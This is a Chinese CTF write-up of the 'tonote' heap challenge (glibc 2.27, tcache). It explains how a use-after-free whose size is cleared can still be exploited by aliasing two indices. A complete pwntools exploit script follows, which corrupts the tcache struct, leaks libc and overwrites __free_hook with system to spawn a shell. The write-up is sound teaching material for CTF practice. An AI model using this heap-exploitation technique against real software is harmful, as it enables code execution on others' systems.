tcache七星剑法:残月 ——深入理解UAF本质
tcache七星剑法:残月 ——深入理解UAF本质
前言
这一篇文章以一个名为tonote的分区赛题展开,我强烈建议大家在看解法之前,先自己尝试解题,同时思考下面这个问题:
"你真的懂什么是UAF吗?"
代码审计
glibc版本为2.27,启用了tcache,且该版本的tcache具有double free检查
题目功能很简单,add,delete,show,edit,四个功能齐全。
add里面,只有两个索引可以用,并且一旦sizelist对应位置不为0,就无法申请堆块到对应索引。同时,这里size也限制在了fastbin范围内。
delete功能只要heaplist[idx]不为0就可以进行,且在free后并未及时清空heaplist数组内存放的指针,这为UAF提供了可能。
但是delete后及时地将size置为0,一方面,会影响后面的edit无法使用,另一方面,也能起到解放索引使其能继续add堆块。
show功能只要有指针就能打印内容
edit功能则要求同时具有size和指针
所有read操作均不存在溢出,所有操作不限制次数,题目没有后门,防护全开。
题目分析
总览
有UAF,但是看起来没啥用
(什么?你还没搞明白为啥看起来没用?这个代码审计分析能力可以remake了)
能申请的堆块范围太小,且没有溢出,需要通过scanf读入大量字节,触发fastbin合并得到unsorted bin来泄露libc地址。
堆块虽然大小受到限制,但是可以自由在范围内调整大小,如果能突破tcache的封锁将其无视,可以free出来许多连续的大小不一的fastbin,足以合并成unsorted bin并泄露地址。
size为0?
这里算是一个容易被忽略的小点,有必要提前讲一下。
malloc(0)也是可以申请到堆块的,只不过申请的默认是一个最小堆,也就是说可以得到一个0x20大小堆块的地址,但是对应sizelist的位置是0。
这里不能算是漏洞,但是只有有了这个前置条件才能往下走。这个机制,可以让用于add的索引,在进行操作后能够“全身而退”
你真的懂UAF吗??????
UAF,除非你是刚开始学堆,还在看chunk结构之类基础知识的小白,不然你肯定知道这个是什么意思。UAF,Use After Free,就是一个指针被释放了之后没有被置零,还能使用它罢了。
UAF的典型例子就是free掉堆块后,没有做一个 heaplistp[idx] = 0 的操作,导致后来还能通过show、edit等功能去使用。
这个题的难点就在于此,虽然delete留下来了指针,但是它清空了size。虽然show可以进行泄露得到堆基址,但是我们不能再进行edit了,因为size已经置为0。这就导致这个洞表面看起来根本无法利用。
陷入这样一个思维误区,主要是由于你受限于“一个指针只要被free了就不能edit”这个客观事实的影响,导致你会产生一个这题没法做这洞没法用的错觉。所以,我在这里再问一个问题:UAF从本质上到底实现了什么?
如果你还是照本宣科地讲UAF的字面意思:一个指针被释放了之后没有被置零,还能继续使用它,那说明你大概受从小到大12年应试刷题教育影响极深了。这是个坏消息,不过,还是要恭喜你,这篇文章对你有用,能帮你摆脱原先的狭隘。
我们使用被free的堆块指针的原因,不外乎是两个目的:
- 被free的chunk会进入链表,原来的mem区域会用来保存一些关键的指针,我们可以尝试泄露出来这些指针的内容,进而计算出相关基址。
- 被free的chunk会进入链表,原来的mem区域会用来保存一些关键的指针,我们可以尝试修改这些指针的内容,进而破坏链表实现跨段分配非法堆块获得libc(等)段的任意(或近似任意)写能力,或者跨段在关键指针处写入堆地址。
大家有没有注意到这一句,我重复了两遍:
"被free的chunk会进入链表,原来的mem区域会用来保存一些关键的指针"
这句话的意思就是,chunk内部,由之前可以任意由用户访问,变成了应该被回收对用户屏蔽。
而UAF的真正精髓,就是利用残留指针等一切手段,去访问并非是程序愿意提供给我们的地址
也就是说,一个指针被free后不再能写,不代表没有机会去往它指向的地址edit,只是这个这个效果,不再能通过这个指针实现罢了。
七星剑法——残月
所以,我为什么给这一篇命名为残月?
就是因为,这个UAF,是不完整的,就像残缺的月亮是不完美的一样。
没关系,残月可以打出弧光斩
那这个题怎么做呢?
edit肯定要用,只泄露不劫持肯定是打不通的。
什么时候可以edit?需要有size和ptr。什么时候可以free?有ptr就可以free。free的影响是什么?是size被置为0了,ptr不会被置零。
一个指针是没法UAF-edit的,但是我们不止有一个指针。我们可以先用0号索引free掉一个堆块,然后把另一个堆块用1号索引给add回来。这时,0和1都指向了同一个堆块(此时是allocated状态),且1号索引有对应的size。
接下来我们通过0号堆块再free掉这个chunk,使它处于free状态,进入tcache链表。这时我们就可以通过1号索引进行edit功能,并劫持其的next指针,控制到tcache_perthread_struct处修改counts为7,就能创造出fastbin去通过scanf合并来触发fastbin合并得到unsorted bin,将其切割后再申请出来就能得到相关地址了。
接下来的打法
最难的点都讲了,接下来咋打你还不会?
不过打的时候要稍微注意一下,不需要edit的申请0x20堆块的操作,尽量都用add(idx,0),这样可以确保以后还可以使用这个索引。
......
......
真不会啊...?
那就自己看exp吧
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'
ELFpath='/home/wjc/Desktop/tonote'
libcpath='/home/wjc/Desktop/libc-2.27.so'
p=process(ELFpath)
e=ELF(ELFpath)
libc=ELF(libcpath)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda s:gdb.attach(p,'b*'+str(s))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def cmd(idx):
ru('Your choice: ')
sl(str(idx))
def add(idx,size):
cmd(1)
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
def edit(idx,content):
cmd(2)
ru('Index: ')
sl(str(idx))
ru('Content: ')
s(content)
def show(idx):
cmd(3)
ru('Index: ')
sl(str(idx))
def free(idx):
cmd(4)
ru('Index: ')
sl(str(idx))
def createlarge(content):
ru('Your choice: ')
sl(content)
add(0,0)
add(1,0)
free(0)
free(1)
show(1)
ru('Content: ')
heapbase=uu64(r(6))-(0x55b3f1466260-0x55b3f1466000)
LOGTOOL['heapbase']=heapbase
tcache_count=heapbase+0x10
tcache_struct=heapbase+0x10
#getback these chunk
add(0,0)
add(1,0)
free(0)
add(1,0x10) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, allocated
free(0) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, freed
edit(1,p64(tcache_count)+p64(0)) #p64(0): allow double free to get idx 1 later
add(0,0)
add(0,0x8)
edit(0,p64(0x0707070707070707))
free(1)
add(1,0x70)
free(1)
add(1,0x30) #idx 1 used for avoid consolidate into topchunk
createlarge(0x400*'1')
free(0) #idx 0 is freed ,but tcache_prethread_struct is in tcache......
free(1)
add(1,0x70)
show(1)
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-(0x7fdc76620d30-0x7fdc76235000)
LOGTOOL['libcbase']=libcbase
free_hook=libcbase+libc.symbols['__free_hook']
LOGTOOL['free_hook']=free_hook
system_addr=libcbase+libc.symbols['system']
LOGTOOL['system_addr']=system_addr
add(0,0)
free(1)
add(0,0)
add(1,0)
add(0,0)
add(1,0)
free(0)
add(1,0x10) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, allocated
free(0) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, freed
edit(1,p64(free_hook)+p64(0))
add(0,0)
add(0,0x8)
edit(0,p64(system_addr))
edit(1,'/bin/sh\x00'+p64(0))
#bp('$rebase(0xc70)')
free(1)
LOGALL()
it()
花絮
这道题是2022年华北赛区分区赛的题,当时我才大一,在实验室的三队,所以没能去分区赛。
去年分区赛协会翻车了,大家都有点pstd,而我现在又成了副会长。出于积极备赛的考虑,就找学长要了去年的国赛题。
but学长把这个题交给我之后信誓旦旦给我说这个题绝对没有洞根本没法做 (`^´)ノ
然后过了几天,我跟他说我做出来了......
。。。
事后大家聚在一起谈到国赛的事情,学长自己也承认,当时确实是急了(据说当时另一道题的libc还给错了,变故很多,加上疫情影响是线上比赛,环境也不太好,不能怪学长没发挥好)。我们也逐渐认识到了竞技状态的重要性,so备赛也就显得尤为重要。
所以啊,院领导能不能少点P事,别天天让我们点赞关注这那官方公众号的,你说让我们安心好好备赛不香吗......
结语
所以这个题和tcache的机制有个毛关系......
安啦,凑个数耍个帅
而且这不确实是对于tcache的UAF吗?